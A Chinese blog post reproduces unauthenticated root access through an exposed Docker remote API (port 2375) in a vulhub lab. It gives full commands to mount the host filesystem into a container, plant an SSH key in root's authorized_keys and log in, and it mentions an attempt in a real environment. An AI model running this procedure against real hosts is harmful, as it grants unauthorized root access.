漏洞复现-docker未授权rce

0x00 实验环境

攻击机:Ubuntu

靶场:vulhub搭建的靶场环境

 

0x01 影响版本

 docker API(1.37及其他版本)未授权访问漏洞,开放2375监听容器时,会调用这个API,方便docker集群管理和扩展。

 

0x02 漏洞复现

(1)通过nmap探测开放端口2375,测试链接:若能访问,说明存在此漏洞

http://xxx:2375/version

  

 (2)访问:

http://xxx:2375/info

发现存在以下未授权页面:

 (3)kali上安装docker环境并启动docker:

apt-get install docker docker-compose

service docker start

 

(4)使用命令:

docker -H tcp://xxx:2375 images

可以获取其docker拉取且正在运行的镜像文件:

 

docker -H tcp://IP:2375 version 查看版本

 

 

 (5)获取容器的shell:

docker -H tcp://xxx:2375 run -it -v /:/mnt 容器ID号 /bin/bash

 

 

 (6)大概就是将自己kali的公钥写入到他这个挂载的authorized_keys文件内,然后再用自己的kali连接即可:

首先,自己的kali要生成公钥:

ssh-keygen -t rsa # 一直回车即可
cd .ssh
cat authorized_keys.pub 

 

 

(7)然后复制id_rsa.pub的内容到容器的/mnt/root/.ssh下的authorized_keys即可:

 

 

echo XXX(内容)>authorized_keys

 改不了权限,无法,然后后面的就很清晰的,写入公钥直接连即可,因为实战环境没有权限,所以没有后续操作。

(8)ssh root@IP 即可成功连接

 

0x03 漏洞原理

开放2375监听容器时,会调用这个API,方便docker集群管理和扩展,此API主要目的是取代命令执行页面。

 

0x04 参考文献

https://keanes.blog.csdn.net/article/details/127998966

 

0x05 免责声明

本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!

posted @ 2023-02-16 16:27  铺哩  阅读(2086)  评论(0编辑  收藏  举报